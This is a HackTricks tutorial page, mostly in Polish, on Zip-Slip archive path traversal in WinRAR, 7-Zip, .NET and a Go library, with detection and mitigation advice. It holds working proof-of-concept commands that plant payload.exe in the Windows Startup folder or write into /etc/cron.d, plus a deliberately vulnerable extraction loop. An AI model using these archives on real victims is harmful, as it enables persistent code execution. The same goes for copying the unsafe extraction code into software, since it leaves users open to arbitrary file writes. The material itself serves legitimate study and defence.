Archive Extraction Path Traversal (“Zip-Slip” / WinRAR CVE-2025-8088)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
Wiele formatów archiwów (ZIP, RAR, TAR, 7-ZIP, itd.) pozwala, aby każdy wpis niósł własną wewnętrzną ścieżkę. Gdy narzędzie do rozpakowywania bezrefleksyjnie respektuje tę ścieżkę, spreparowana nazwa pliku zawierająca .. lub ścieżkę bezwzględną (np. C:\Windows\System32\) zostanie zapisana poza katalogiem wybranym przez użytkownika.
Ten rodzaj podatności jest powszechnie znany jako Zip-Slip lub archive extraction path traversal.
Konsekwencje obejmują nadpisanie dowolnych plików lub bezpośrednie uzyskanie remote code execution (RCE) poprzez upuszczenie payloadu w lokalizacji auto-run, takiej jak katalog Startup w Windows.
Przyczyna
- Atakujący tworzy archiwum, w którym jeden lub więcej nagłówków plików zawiera:
- Relative traversal sequences (
..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe) - Absolute paths (
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe) - Or crafted symlinks that resolve outside the target dir (common in ZIP/TAR on nix).
- Ofiara rozpakowuje archiwum za pomocą podatnego narzędzia, które ufa osadzonej ścieżce (lub podąża za symlinkami) zamiast jej oczyszczać/normalizować lub wymusić rozpakowanie wewnątrz wybranego katalogu.
- Plik zostaje zapisany w kontrolowanej przez atakującego lokalizacji i zostaje wykonany/załadowany następnym razem, gdy system lub użytkownik wywoła tę ścieżkę.
.NET Path.Combine + ZipArchive traversal
A common .NET anti-pattern is combining the intended destination with kontrolowanym przez użytkownika ZipArchiveEntry.FullName and extracting without path normalisation:
using (var zip = ZipFile.OpenRead(zipPath))
{
foreach (var entry in zip.Entries)
{
var dest = Path.Combine(@"C:\samples\queue\", entry.FullName); // drops base if FullName is absolute
entry.ExtractToFile(dest);
}
}
- Jeśli
entry.FullNamezaczyna się od..\\, spowoduje przejście w górę drzewa katalogów; jeśli jest ścieżką bezwzględną składnik po lewej stronie zostaje całkowicie odrzucony, co skutkuje dowolnym zapisem pliku z uprawnieniami tożsamości użytej podczas ekstrakcji. - Proof-of-concept archive do zapisania w sąsiednim katalogu
appmonitorowanym przez zaplanowany skaner:
import zipfile
with zipfile.ZipFile("slip.zip", "w") as z:
z.writestr("../app/0xdf.txt", "ABCD")
Upuszczenie tego ZIP-a do monitorowanej skrzynki odbiorczej skutkuje pojawieniem się C:\samples\app\0xdf.txt, co dowodzi traversal poza C:\samples\queue\ i umożliwia dalsze prymitywy (np. DLL hijacks).
Przykład z prawdziwego świata – WinRAR ≤ 7.12 (CVE-2025-8088)
WinRAR for Windows (w tym rar / unrar CLI, DLL i przenośny kod źródłowy) nie weryfikował nazw plików podczas rozpakowywania.
Złośliwe archiwum RAR zawierające wpis taki jak:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
zakończy się poza wybranym katalogiem wyjściowym i w folderze Autostart użytkownika. Po zalogowaniu Windows automatycznie uruchamia wszystko, co się tam znajduje, zapewniając trwałe RCE.
Tworzenie archiwum PoC (Linux/Mac)
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
Options used:
-ep– przechowuj ścieżki plików dokładnie tak jak podano (do nie usuwać wiodącego./).
Dostarcz evil.rar ofierze i poinstruj ją, aby rozpakowała go za pomocą podatnej wersji WinRAR.
Zaobserwowane wykorzystanie w terenie
ESET zgłosił kampanie spear-phishingowe RomCom (Storm-0978/UNC2596), które dołączały archiwa RAR wykorzystujące CVE-2025-8088 w celu wdrażania spersonalizowanych backdoorów i ułatwiania działań ransomware.
Newer Cases (2024–2025)
7-Zip ZIP symlink traversal → RCE (CVE-2025-11001 / ZDI-25-949)
- Błąd: wpisy ZIP będące symbolic links były dereferencjonowane podczas ekstrakcji, pozwalając atakującym wydostać się poza katalog docelowy i nadpisać dowolne ścieżki. Interakcja użytkownika ogranicza się jedynie do otwarcia/rozpakowania archiwum.
- Dotknięte: 7-Zip 21.02–24.09 (buildy Windows i Linux). Naprawione w 25.00 (lipiec 2025) i później.
- Ścieżka wpływu: nadpisanie
Start Menu/Programs/Startuplub lokalizacji uruchamianych przez usługę → kod wykona się przy następnym logowaniu lub restarcie usługi. - Szybki PoC (Linux):
mkdir -p out
ln -s /etc/cron.d evil
zip -y exploit.zip evil # -y preserves symlinks
7z x exploit.zip -o/tmp/target # vulnerable 7-Zip writes to /etc/cron.d
Na załatanym buildzie /etc/cron.d nie zostanie naruszony; symlink zostanie rozpakowany jako link wewnątrz /tmp/target.
Go mholt/archiver Unarchive() Zip-Slip (CVE-2025-3445)
- Błąd:
archiver.Unarchive()podąża za../i wpisami ZIP będącymi symlinkami, zapisując pozaoutputDir. - Dotknięte:
github.com/mholt/archiver≤ 3.5.1 (projekt obecnie przestarzały). - Poprawka: Przełącz się na
mholt/archives≥ 0.1.0 lub zaimplementuj sprawdzenia ścieżki kanonicznej przed zapisem. - Minimalna reprodukcja:
// go test . with archiver<=3.5.1
archiver.Unarchive("exploit.zip", "/tmp/safe")
// exploit.zip holds ../../../../home/user/.ssh/authorized_keys
Wskazówki wykrywania
- Inspekcja statyczna – Wylistuj wpisy archiwum i oznacz każdą nazwę zawierającą
../,..\\, ścieżki absolutne (/,C:) lub wpisy typu symlink, których cel znajduje się poza katalogiem ekstrakcji. - Normalizacja kanoniczna – Upewnij się, że
realpath(join(dest, name))nadal zaczyna się oddest. W przeciwnym razie odrzuć. - Ekstrakcja w sandboxie – Dekompresuj do jednorazowego katalogu używając bezpiecznego extractora (np.
bsdtar --safe --xattrs --no-same-owner, 7-Zip ≥ 25.00) i zweryfikuj, że powstałe ścieżki pozostają w katalogu. - Monitorowanie endpointów – Alarmuj o nowych plikach wykonywalnych zapisanych do lokalizacji
Startup/Run/cronwkrótce po otwarciu archiwum przez WinRAR/7-Zip/itd.
Łagodzenie i utwardzanie
- Zaktualizuj extractor – WinRAR 7.13+ i 7-Zip 25.00+ implementują sanityzację ścieżek/symlinków. Oba narzędzia nadal nie mają autoaktualizacji.
- Rozpakowuj archiwa z opcją “Do not extract paths” / “Ignore paths”, gdy to możliwe.
- Na Unixie obniż uprawnienia i zamontuj chroot/namespace przed ekstrakcją; na Windows użyj AppContainer lub sandboxu.
- Jeśli piszesz własny kod, znormalizuj ścieżki za pomocą
realpath()/PathCanonicalize()przed utworzeniem/zapisem i odrzuć każdy wpis, który wydostaje się poza katalog docelowy.
Dodatkowe dotknięte / historyczne przypadki
- 2018 – Obszerny advisory Zip-Slip od Snyk wpływający na wiele bibliotek Java/Go/JS.
- 2023 – 7-Zip CVE-2023-4011, podobny traversal podczas
-aomerge. - 2025 – HashiCorp
go-slug(CVE-2025-0377) traversal podczas ekstrakcji TAR w slugach (łatka w v1.2). - Każda niestandardowa logika ekstrakcji, która nie wywołuje
PathCanonicalize/realpathprzed zapisem.
References
- Trend Micro ZDI-25-949 – 7-Zip symlink ZIP traversal (CVE-2025-11001)
- JFrog Research – mholt/archiver Zip-Slip (CVE-2025-3445)
- Meziantou – Prevent Zip Slip in .NET
- 0xdf – HTB Bruno ZipSlip → DLL hijack chain
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


